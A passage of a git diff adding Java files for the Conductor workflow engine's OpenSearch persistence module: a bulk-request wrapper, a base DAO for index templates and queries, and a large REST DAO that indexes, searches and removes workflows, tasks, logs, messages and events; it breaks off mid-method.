    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.index; + +import java.util.Objects; + +import org.opensearch.action.bulk.BulkRequest; +import org.opensearch.action.index.IndexRequest; +import org.opensearch.action.update.UpdateRequest; +import org.springframework.lang.NonNull; + +/** Thread-safe wrapper for {@link BulkRequest}. */ +class BulkRequestWrapper { + private final BulkRequest bulkRequest; + + BulkRequestWrapper(@NonNull BulkRequest bulkRequest) { + this.bulkRequest = Objects.requireNonNull(bulkRequest); + } + + public void add(@NonNull UpdateRequest req) { + synchronized (bulkRequest) { + bulkRequest.add(Objects.requireNonNull(req)); + } + } + + public void add(@NonNull IndexRequest req) { + synchronized (bulkRequest) { + bulkRequest.add(Objects.requireNonNull(req)); + } + } + + BulkRequest get() { + return bulkRequest; + } + + int numberOfActions() { + synchronized (bulkRequest) { + return bulkRequest.numberOfActions(); + } + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/OpenSearchBaseDAO.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/OpenSearchBaseDAO.java new file mode 100644 index 0000000..87202c3 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/OpenSearchBaseDAO.java @@ -0,0 +1,90 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.index; + +import java.io.IOException; +import java.util.ArrayList; + +import org.apache.commons.io.IOUtils; +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.os2.dao.query.parser.Expression; +import org.conductoross.conductor.os2.dao.query.parser.internal.ParserException; +import org.opensearch.index.query.BoolQueryBuilder; +import org.opensearch.index.query.QueryBuilder; +import org.opensearch.index.query.QueryBuilders; +import org.opensearch.index.query.QueryStringQueryBuilder; + +import com.netflix.conductor.dao.IndexDAO; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; + +abstract class OpenSearchBaseDAO implements IndexDAO { + + String indexPrefix; + ObjectMapper objectMapper; + + String loadTypeMappingSource(String path) throws IOException { + return applyIndexPrefixToTemplate( + IOUtils.toString(OpenSearchBaseDAO.class.getResourceAsStream(path))); + } + + private String applyIndexPrefixToTemplate(String text) throws JsonProcessingException { + String indexPatternsFieldName = "index_patterns"; + JsonNode root = objectMapper.readTree(text); + if (root != null) { + JsonNode indexPatternsNodeValue = root.get(indexPatternsFieldName); + if (indexPatternsNodeValue != null && indexPatternsNodeValue.isArray()) { + ArrayList patternsWithPrefix = new ArrayList<>(); + indexPatternsNodeValue.forEach( + v -> { + String patternText = v.asText(); + StringBuilder sb = new StringBuilder(); + if (patternText.startsWith("*")) { + sb.append("*") + .append(indexPrefix) + .append("_") + .append(patternText.substring(1)); + } else { + sb.append(indexPrefix).append("_").append(patternText); + } + patternsWithPrefix.add(sb.toString()); + }); + ((ObjectNode) root) + .set(indexPatternsFieldName, objectMapper.valueToTree(patternsWithPrefix)); + System.out.println( + objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(root)); + return objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(root); + } + } + return text; + } + + org.opensearch.index.query.BoolQueryBuilder boolQueryBuilder( + String expression, String queryString) throws ParserException { + QueryBuilder queryBuilder = QueryBuilders.matchAllQuery(); + if (StringUtils.isNotEmpty(expression)) { + Expression exp = Expression.fromString(expression); + queryBuilder = exp.getFilterBuilder(); + } + BoolQueryBuilder filterQuery = QueryBuilders.boolQuery().must(queryBuilder); + QueryStringQueryBuilder stringQuery = QueryBuilders.queryStringQuery(queryString); + return QueryBuilders.boolQuery().must(stringQuery).must(filterQuery); + } + + protected String getIndexName(String documentType) { + return indexPrefix + "_" + documentType; + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/OpenSearchRestDAO.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/OpenSearchRestDAO.java new file mode 100644 index 0000000..f675a6e --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/OpenSearchRestDAO.java @@ -0,0 +1,1347 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.index; + +import java.io.IOException; +import java.io.InputStream; +import java.text.SimpleDateFormat; +import java.time.Instant; +import java.time.LocalDate; +import java.util.*; +import java.util.concurrent.*; +import java.util.stream.Collectors; +import java.util.stream.IntStream; + +import org.apache.commons.io.IOUtils; +import org.apache.http.HttpEntity; +import org.apache.http.HttpStatus; +import org.apache.http.entity.ContentType; +import org.apache.http.nio.entity.NByteArrayEntity; +import org.apache.http.nio.entity.NStringEntity; +import org.apache.http.util.EntityUtils; +import org.conductoross.conductor.os2.config.OpenSearchProperties; +import org.conductoross.conductor.os2.dao.query.parser.internal.ParserException; +import org.joda.time.DateTime; +import org.opensearch.action.DocWriteResponse; +import org.opensearch.action.bulk.BulkRequest; +import org.opensearch.action.delete.DeleteRequest; +import org.opensearch.action.delete.DeleteResponse; +import org.opensearch.action.get.GetRequest; +import org.opensearch.action.get.GetResponse; +import org.opensearch.action.index.IndexRequest; +import org.opensearch.action.search.SearchRequest; +import org.opensearch.action.search.SearchResponse; +import org.opensearch.action.update.UpdateRequest; +import org.opensearch.client.*; +import org.opensearch.client.core.CountRequest; +import org.opensearch.client.core.CountResponse; +import org.opensearch.common.xcontent.XContentType; +import org.opensearch.index.query.BoolQueryBuilder; +import org.opensearch.index.query.QueryBuilder; +import org.opensearch.index.query.QueryBuilders; +import org.opensearch.search.SearchHit; +import org.opensearch.search.SearchHits; +import org.opensearch.search.builder.SearchSourceBuilder; +import org.opensearch.search.sort.FieldSortBuilder; +import org.opensearch.search.sort.SortOrder; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.dao.IndexDAO; +import com.netflix.conductor.metrics.Monitors; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.databind.type.MapType; +import com.fasterxml.jackson.databind.type.TypeFactory; +import jakarta.annotation.PostConstruct; +import jakarta.annotation.PreDestroy; + +@Trace +public class OpenSearchRestDAO extends OpenSearchBaseDAO implements IndexDAO { + + private static final Logger logger = LoggerFactory.getLogger(OpenSearchRestDAO.class); + + private static final String CLASS_NAME = OpenSearchRestDAO.class.getSimpleName(); + + private static final int CORE_POOL_SIZE = 6; + private static final long KEEP_ALIVE_TIME = 1L; + + private static final String WORKFLOW_DOC_TYPE = "workflow"; + private static final String TASK_DOC_TYPE = "task"; + private static final String LOG_DOC_TYPE = "task_log"; + private static final String EVENT_DOC_TYPE = "event"; + private static final String MSG_DOC_TYPE = "message"; + + private static final TimeZone GMT = TimeZone.getTimeZone("GMT"); + private static final SimpleDateFormat SIMPLE_DATE_FORMAT = new SimpleDateFormat("yyyyMMWW"); + + private @interface HttpMethod { + + String GET = "GET"; + String POST = "POST"; + String PUT = "PUT"; + String HEAD = "HEAD"; + } + + private static final String className = OpenSearchRestDAO.class.getSimpleName(); + + private final String workflowIndexName; + private final String taskIndexName; + private final String eventIndexPrefix; + private String eventIndexName; + private final String messageIndexPrefix; + private String messageIndexName; + private String logIndexName; + private final String logIndexPrefix; + + private final String clusterHealthColor; + private final RestHighLevelClient openSearchClient; + private final RestClient openSearchAdminClient; + private final ExecutorService executorService; + private final ExecutorService logExecutorService; + private final ConcurrentHashMap bulkRequests; + private final int indexBatchSize; + private final int asyncBufferFlushTimeout; + private final OpenSearchProperties properties; + private final RetryTemplate retryTemplate; + + static { + SIMPLE_DATE_FORMAT.setTimeZone(GMT); + } + + public OpenSearchRestDAO( + RestClientBuilder restClientBuilder, + RetryTemplate retryTemplate, + OpenSearchProperties properties, + ObjectMapper objectMapper) { + + this.objectMapper = objectMapper; + this.openSearchAdminClient = restClientBuilder.build(); + this.openSearchClient = new RestHighLevelClient(restClientBuilder); + this.clusterHealthColor = properties.getClusterHealthColor(); + this.bulkRequests = new ConcurrentHashMap<>(); + this.indexBatchSize = properties.getIndexBatchSize(); + this.asyncBufferFlushTimeout = (int) properties.getAsyncBufferFlushTimeout().getSeconds(); + this.properties = properties; + + this.indexPrefix = properties.getIndexPrefix(); + + this.workflowIndexName = getIndexName(WORKFLOW_DOC_TYPE); + this.taskIndexName = getIndexName(TASK_DOC_TYPE); + this.logIndexPrefix = this.indexPrefix + "_" + LOG_DOC_TYPE; + this.messageIndexPrefix = this.indexPrefix + "_" + MSG_DOC_TYPE; + this.eventIndexPrefix = this.indexPrefix + "_" + EVENT_DOC_TYPE; + int workerQueueSize = properties.getAsyncWorkerQueueSize(); + int maximumPoolSize = properties.getAsyncMaxPoolSize(); + + // Set up a workerpool for performing async operations. + this.executorService = + new ThreadPoolExecutor( + CORE_POOL_SIZE, + maximumPoolSize, + KEEP_ALIVE_TIME, + TimeUnit.MINUTES, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("indexQueue"); + }); + + // Set up a workerpool for performing async operations for task_logs, event_executions, + // message + int corePoolSize = 1; + maximumPoolSize = 2; + long keepAliveTime = 30L; + this.logExecutorService = + new ThreadPoolExecutor( + corePoolSize, + maximumPoolSize, + keepAliveTime, + TimeUnit.SECONDS, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async log dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("logQueue"); + }); + + Executors.newSingleThreadScheduledExecutor() + .scheduleAtFixedRate(this::flushBulkRequests, 60, 30, TimeUnit.SECONDS); + this.retryTemplate = retryTemplate; + } + + @PreDestroy + private void shutdown() { + logger.info("Gracefully shutdown executor service"); + shutdownExecutorService(logExecutorService); + shutdownExecutorService(executorService); + } + + private void shutdownExecutorService(ExecutorService execService) { + try { + execService.shutdown(); + if (execService.awaitTermination(30, TimeUnit.SECONDS)) { + logger.debug("tasks completed, shutting down"); + } else { + logger.warn("Forcing shutdown after waiting for 30 seconds"); + execService.shutdownNow(); + } + } catch (InterruptedException ie) { + logger.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledThreadPoolExecutor for delay queue"); + execService.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + @PostConstruct + public void setup() throws Exception { + waitForHealthyCluster(); + + if (properties.isAutoIndexManagementEnabled()) { + createIndexesTemplates(); + createWorkflowIndex(); + createTaskIndex(); + } + } + + private void createIndexesTemplates() { + try { + initIndexesTemplates(); + updateIndexesNames(); + Executors.newScheduledThreadPool(1) + .scheduleAtFixedRate(this::updateIndexesNames, 0, 1, TimeUnit.HOURS); + } catch (Exception e) { + logger.error("Error creating index templates!", e); + } + } + + private void initIndexesTemplates() { + initIndexTemplate(LOG_DOC_TYPE); + initIndexTemplate(EVENT_DOC_TYPE); + initIndexTemplate(MSG_DOC_TYPE); + } + + /** Initializes the index with the required templates and mappings. */ + private void initIndexTemplate(String type) { + String template = "template_" + type; + try { + if (doesResourceNotExist("/_index_template/" + template)) { + logger.info("Creating the index template '" + template + "'"); + InputStream stream = + OpenSearchRestDAO.class.getResourceAsStream("/" + template + ".json"); + byte[] templateSource = IOUtils.toByteArray(stream); + + HttpEntity entity = + new NByteArrayEntity(templateSource, ContentType.APPLICATION_JSON); + Request request = new Request(HttpMethod.PUT, "/_index_template/" + template); + request.setEntity(entity); + String test = + IOUtils.toString( + openSearchAdminClient + .performRequest(request) + .getEntity() + .getContent()); + } + } catch (Exception e) { + logger.error("Failed to init " + template, e); + } + } + + private void updateIndexesNames() { + logIndexName = updateIndexName(LOG_DOC_TYPE); + eventIndexName = updateIndexName(EVENT_DOC_TYPE); + messageIndexName = updateIndexName(MSG_DOC_TYPE); + } + + private String updateIndexName(String type) { + String indexName = + this.indexPrefix + "_" + type + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + try { + addIndex(indexName); + return indexName; + } catch (IOException e) { + logger.error("Failed to update log index name: {}", indexName, e); + throw new NonTransientException(e.getMessage(), e); + } + } + + private void createWorkflowIndex() { + String indexName = getIndexName(WORKFLOW_DOC_TYPE); + try { + addIndex(indexName, "/mappings_docType_workflow.json"); + } catch (IOException e) { + logger.error("Failed to initialize index '{}'", indexName, e); + } + } + + private void createTaskIndex() { + String indexName = getIndexName(TASK_DOC_TYPE); + try { + addIndex(indexName, "/mappings_docType_task.json"); + } catch (IOException e) { + logger.error("Failed to initialize index '{}'", indexName, e); + } + } + + /** + * Waits for the ES cluster to become green. + * + * @throws Exception If there is an issue connecting with the ES cluster. + */ + private void waitForHealthyCluster() throws Exception { + Map params = new HashMap<>(); + params.put("timeout", "30s"); + params.put("wait_for_status", this.clusterHealthColor); + Request request = new Request("GET", "/_cluster/health"); + request.addParameters(params); + openSearchAdminClient.performRequest(request); + } + + /** + * Adds an index to opensearch if it does not exist. + * + * @param index The name of the index to create. + * @param mappingFilename Index mapping filename + * @throws IOException If an error occurred during requests to ES. + */ + private void addIndex(String index, final String mappingFilename) throws IOException { + logger.info("Adding index '{}'...", index); + String resourcePath = "/" + index; + if (doesResourceNotExist(resourcePath)) { + try { + ObjectNode setting = objectMapper.createObjectNode(); + ObjectNode indexSetting = objectMapper.createObjectNode(); + ObjectNode root = objectMapper.createObjectNode(); + indexSetting.put("number_of_shards", properties.getIndexShardCount()); + indexSetting.put("number_of_replicas", properties.getIndexReplicasCount()); + JsonNode mappingNodeValue = + objectMapper.readTree(loadTypeMappingSource(mappingFilename)); + root.set("settings", indexSetting); + root.set("mappings", mappingNodeValue); + Request request = new Request(HttpMethod.PUT, resourcePath); + request.setEntity( + new NStringEntity( + objectMapper.writeValueAsString(root), + ContentType.APPLICATION_JSON)); + openSearchAdminClient.performRequest(request); + logger.info("Added '{}' index", index); + } catch (ResponseException e) { + + boolean errorCreatingIndex = true; + + Response errorResponse = e.getResponse(); + if (errorResponse.getStatusLine().getStatusCode() == HttpStatus.SC_BAD_REQUEST) { + JsonNode root = + objectMapper.readTree(EntityUtils.toString(errorResponse.getEntity())); + String errorCode = root.get("error").get("type").asText(); + if ("index_already_exists_exception".equals(errorCode)) { + errorCreatingIndex = false; + } + } + + if (errorCreatingIndex) { + throw e; + } + } + } else { + logger.info("Index '{}' already exists", index); + } + } + + /** + * Adds an index to opensearch if it does not exist. + * + * @param index The name of the index to create. + * @throws IOException If an error occurred during requests to ES. + */ + private void addIndex(final String index) throws IOException { + + logger.info("Adding index '{}'...", index); + + String resourcePath = "/" + index; + + if (doesResourceNotExist(resourcePath)) { + + try { + ObjectNode setting = objectMapper.createObjectNode(); + ObjectNode indexSetting = objectMapper.createObjectNode(); + + indexSetting.put("number_of_shards", properties.getIndexShardCount()); + indexSetting.put("number_of_replicas", properties.getIndexReplicasCount()); + + setting.set("settings", indexSetting); + + Request request = new Request(HttpMethod.PUT, resourcePath); + request.setEntity( + new NStringEntity(setting.toString(), ContentType.APPLICATION_JSON)); + openSearchAdminClient.performRequest(request); + logger.info("Added '{}' index", index); + } catch (ResponseException e) { + + boolean errorCreatingIndex = true; + + Response errorResponse = e.getResponse(); + if (errorResponse.getStatusLine().getStatusCode() == HttpStatus.SC_BAD_REQUEST) { + JsonNode root = + objectMapper.readTree(EntityUtils.toString(errorResponse.getEntity())); + String errorCode = root.get("error").get("type").asText(); + if ("index_already_exists_exception".equals(errorCode)) { + errorCreatingIndex = false; + } + } + + if (errorCreatingIndex) { + throw e; + } + } + } else { + logger.info("Index '{}' already exists", index); + } + } + + /** + * Adds a mapping type to an index if it does not exist. + * + * @param index The name of the index. + * @param mappingType The name of the mapping type. + * @param mappingFilename The name of the mapping file to use to add the mapping if it does not + * exist. + * @throws IOException If an error occurred during requests to ES. + */ + private void addMappingToIndex( + final String index, final String mappingType, final String mappingFilename) + throws IOException { + + logger.info("Adding '{}' mapping to index '{}'...", mappingType, index); + + String resourcePath = "/" + index + "/_mapping"; + + if (doesResourceNotExist(resourcePath)) { + HttpEntity entity = + new NByteArrayEntity( + loadTypeMappingSource(mappingFilename).getBytes(), + ContentType.APPLICATION_JSON); + Request request = new Request(HttpMethod.PUT, resourcePath); + request.setEntity(entity); + openSearchAdminClient.performRequest(request); + logger.info("Added '{}' mapping", mappingType); + } else { + logger.info("Mapping '{}' already exists", mappingType); + } + } + + /** + * Determines whether a resource exists in ES. This will call a GET method to a particular path + * and return true if status 200; false otherwise. + * + * @param resourcePath The path of the resource to get. + * @return True if it exists; false otherwise. + * @throws IOException If an error occurred during requests to ES. + */ + public boolean doesResourceExist(final String resourcePath) throws IOException { + Request request = new Request(HttpMethod.HEAD, resourcePath); + Response response = openSearchAdminClient.performRequest(request); + return response.getStatusLine().getStatusCode() == HttpStatus.SC_OK; + } + + /** + * The inverse of doesResourceExist. + * + * @param resourcePath The path of the resource to check. + * @return True if it does not exist; false otherwise. + * @throws IOException If an error occurred during requests to ES. + */ + public boolean doesResourceNotExist(final String resourcePath) throws IOException { + return !doesResourceExist(resourcePath); + } + + @Override + public void indexWorkflow(WorkflowSummary workflow) { + try { + long startTime = Instant.now().toEpochMilli(); + String workflowId = workflow.getWorkflowId(); + byte[] docBytes = objectMapper.writeValueAsBytes(workflow); + + IndexRequest request = + new IndexRequest(workflowIndexName) + .id(workflowId) + .source(docBytes, XContentType.JSON); + openSearchClient.index(request, RequestOptions.DEFAULT); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing workflow: {}", endTime - startTime, workflowId); + Monitors.recordESIndexTime("index_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + Monitors.error(className, "indexWorkflow"); + logger.error("Failed to index workflow: {}", workflow.getWorkflowId(), e); + } + } + + @Override + public CompletableFuture asyncIndexWorkflow(WorkflowSummary workflow) { + return CompletableFuture.runAsync(() -> indexWorkflow(workflow), executorService); + } + + @Override + public void indexTask(TaskSummary task) { + try { + long startTime = Instant.now().toEpochMilli(); + String taskId = task.getTaskId(); + + indexObject(taskIndexName, TASK_DOC_TYPE, taskId, task); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing task:{} in workflow: {}", + endTime - startTime, + taskId, + task.getWorkflowId()); + Monitors.recordESIndexTime("index_task", TASK_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to index task: {}", task.getTaskId(), e); + } + } + + @Override + public CompletableFuture asyncIndexTask(TaskSummary task) { + return CompletableFuture.runAsync(() -> indexTask(task), executorService); + } + + @Override + public void addTaskExecutionLogs(List taskExecLogs) { + if (taskExecLogs.isEmpty()) { + return; + } + + long startTime = Instant.now().toEpochMilli(); + BulkRequest bulkRequest = new BulkRequest(); + for (TaskExecLog log : taskExecLogs) { + + byte[] docBytes; + try { + docBytes = objectMapper.writeValueAsBytes(log); + } catch (JsonProcessingException e) { + logger.error("Failed to convert task log to JSON for task {}", log.getTaskId()); + continue; + } + + IndexRequest request = new IndexRequest(logIndexName); + request.source(docBytes, XContentType.JSON); + bulkRequest.add(request); + } + + try { + openSearchClient.bulk(bulkRequest, RequestOptions.DEFAULT); + long endTime = Instant.now().toEpochMilli(); + logger.debug("Time taken {} for indexing taskExecutionLogs", endTime - startTime); + Monitors.recordESIndexTime( + "index_task_execution_logs", LOG_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + List taskIds = + taskExecLogs.stream().map(TaskExecLog::getTaskId).collect(Collectors.toList()); + logger.error("Failed to index task execution logs for tasks: {}", taskIds, e); + } + } + + @Override + public CompletableFuture asyncAddTaskExecutionLogs(List logs) { + return CompletableFuture.runAsync(() -> addTaskExecutionLogs(logs), logExecutorService); + } + + @Override + public List getTaskExecutionLogs(String taskId) { + try { + BoolQueryBuilder query = boolQueryBuilder("taskId='" + taskId + "'", "*"); + + // Create the searchObjectIdsViaExpression source + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(query); + searchSourceBuilder.sort(new FieldSortBuilder("createdTime").order(SortOrder.ASC)); + searchSourceBuilder.size(properties.getTaskLogResultLimit()); + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(logIndexPrefix + "*"); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = + openSearchClient.search(searchRequest, RequestOptions.DEFAULT); + + return mapTaskExecLogsResponse(response); + } catch (Exception e) { + logger.error("Failed to get task execution logs for task: {}", taskId, e); + } + return null; + } + + private List mapTaskExecLogsResponse(SearchResponse response) throws IOException { + SearchHit[] hits = response.getHits().getHits(); + List logs = new ArrayList<>(hits.length); + for (SearchHit hit : hits) { + String source = hit.getSourceAsString(); + TaskExecLog tel = objectMapper.readValue(source, TaskExecLog.class); + logs.add(tel); + } + return logs; + } + + @Override + public List getMessages(String queue) { + try { + BoolQueryBuilder query = boolQueryBuilder("queue='" + queue + "'", "*"); + + // Create the searchObjectIdsViaExpression source + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(query); + searchSourceBuilder.sort(new FieldSortBuilder("created").order(SortOrder.ASC)); + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(messageIndexPrefix + "*"); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = + openSearchClient.search(searchRequest, RequestOptions.DEFAULT); + return mapGetMessagesResponse(response); + } catch (Exception e) { + logger.error("Failed to get messages for queue: {}", queue, e); + } + return null; + } + + private List mapGetMessagesResponse(SearchResponse response) throws IOException { + SearchHit[] hits = response.getHits().getHits(); + TypeFactory factory = TypeFactory.defaultInstance(); + MapType type = factory.constructMapType(HashMap.class, String.class, String.class); + List messages = new ArrayList<>(hits.length); + for (SearchHit hit : hits) { + String source = hit.getSourceAsString(); + Map mapSource = objectMapper.readValue(source, type); + Message msg = new Message(mapSource.get("messageId"), mapSource.get("payload"), null); + messages.add(msg); + } + return messages; + } + + @Override + public List getEventExecutions(String event) { + try { + BoolQueryBuilder query = boolQueryBuilder("event='" + event + "'", "*"); + + // Create the searchObjectIdsViaExpression source + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(query); + searchSourceBuilder.sort(new FieldSortBuilder("created").order(SortOrder.ASC)); + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(eventIndexPrefix + "*"); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = + openSearchClient.search(searchRequest, RequestOptions.DEFAULT); + + return mapEventExecutionsResponse(response); + } catch (Exception e) { + logger.error("Failed to get executions for event: {}", event, e); + } + return null; + } + + private List mapEventExecutionsResponse(SearchResponse response) + throws IOException { + SearchHit[] hits = response.getHits().getHits(); + List executions = new ArrayList<>(hits.length); + for (SearchHit hit : hits) { + String source = hit.getSourceAsString(); + EventExecution tel = objectMapper.readValue(source, EventExecution.class); + executions.add(tel); + } + return executions; + } + + @Override + public void addMessage(String queue, Message message) { + try { + long startTime = Instant.now().toEpochMilli(); + Map doc = new HashMap<>(); + doc.put("messageId", message.getId()); + doc.put("payload", message.getPayload()); + doc.put("queue", queue); + doc.put("created", System.currentTimeMillis()); + + indexObject(messageIndexName, MSG_DOC_TYPE, doc); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing message: {}", + endTime - startTime, + message.getId()); + Monitors.recordESIndexTime("add_message", MSG_DOC_TYPE, endTime - startTime); + } catch (Exception e) { + logger.error("Failed to index message: {}", message.getId(), e); + } + } + + @Override + public CompletableFuture asyncAddMessage(String queue, Message message) { + return CompletableFuture.runAsync(() -> addMessage(queue, message), executorService); + } + + @Override + public void addEventExecution(EventExecution eventExecution) { + try { + long startTime = Instant.now().toEpochMilli(); + String id = + eventExecution.getName() + + "." + + eventExecution.getEvent() + + "." + + eventExecution.getMessageId() + + "." + + eventExecution.getId(); + + indexObject(eventIndexName, EVENT_DOC_TYPE, id, eventExecution); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing event execution: {}", + endTime - startTime, + eventExecution.getId()); + Monitors.recordESIndexTime("add_event_execution", EVENT_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to index event execution: {}", eventExecution.getId(), e); + } + } + + @Override + public CompletableFuture asyncAddEventExecution(EventExecution eventExecution) { + return CompletableFuture.runAsync( + () -> addEventExecution(eventExecution), logExecutorService); + } + + @Override + public SearchResult searchWorkflows( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectIdsViaExpression( + query, start, count, sort, freeText, WORKFLOW_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + @Override + public SearchResult searchWorkflowSummary( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectsViaExpression( + query, + start, + count, + sort, + freeText, + WORKFLOW_DOC_TYPE, + false, + WorkflowSummary.class); + } catch (Exception e) { + throw new TransientException(e.getMessage(), e); + } + } + + private SearchResult searchObjectsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType, + boolean idOnly, + Class clazz) + throws ParserException, IOException { + QueryBuilder queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjects( + getIndexName(docType), queryBuilder, start, size, sortOptions, idOnly, clazz); + } + + @Override + public SearchResult searchTasks( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectIdsViaExpression(query, start, count, sort, freeText, TASK_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + @Override + public SearchResult searchTaskSummary( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectsViaExpression( + query, start, count, sort, freeText, TASK_DOC_TYPE, false, TaskSummary.class); + } catch (Exception e) { + throw new TransientException(e.getMessage(), e); + } + } + + @Override + public void removeWorkflow(String workflowId) { + long startTime = Instant.now().toEpochMilli(); + DeleteRequest request = new DeleteRequest(workflowIndexName, workflowId); + + try { + DeleteResponse response = openSearchClient.delete(request, RequestOptions.DEFAULT); + + if (response.getResult() == DocWriteResponse.Result.NOT_FOUND) { + logger.error("Index removal failed - document not found by id: {}", workflowId); + } + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for removing workflow: {}", endTime - startTime, workflowId); + Monitors.recordESIndexTime("remove_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (IOException e) { + logger.error("Failed to remove workflow {} from index", workflowId, e); + Monitors.error(className, "remove"); + } + } + + @Override + public CompletableFuture asyncRemoveWorkflow(String workflowId) { + return CompletableFuture.runAsync(() -> removeWorkflow(workflowId), executorService); + } + + @Override + public void updateWorkflow(String workflowInstanceId, String[] keys, Object[] values) { + try { + if (keys.length != values.length) { + throw new NonTransientException("Number of keys and values do not match"); + } + + long startTime = Instant.now().toEpochMilli(); + UpdateRequest request = new UpdateRequest(workflowIndexName, workflowInstanceId); + Map source = + IntStream.range(0, keys.length) + .boxed() + .collect(Collectors.toMap(i -> keys[i], i -> values[i])); + request.doc(source); + + logger.debug("Updating workflow {} with {}", workflowInstanceId, source); + openSearchClient.update(request, RequestOptions.DEFAULT); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for updating workflow: {}", + endTime - startTime, + workflowInstanceId); + Monitors.recordESIndexTime("update_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to update workflow {}", workflowInstanceId, e); + Monitors.error(className, "update"); + } + } + + @Override + public void removeTask(String workflowId, String taskId) { + long startTime = Instant.now().toEpochMilli(); + + SearchResult taskSearchResult = + searchTasks( + 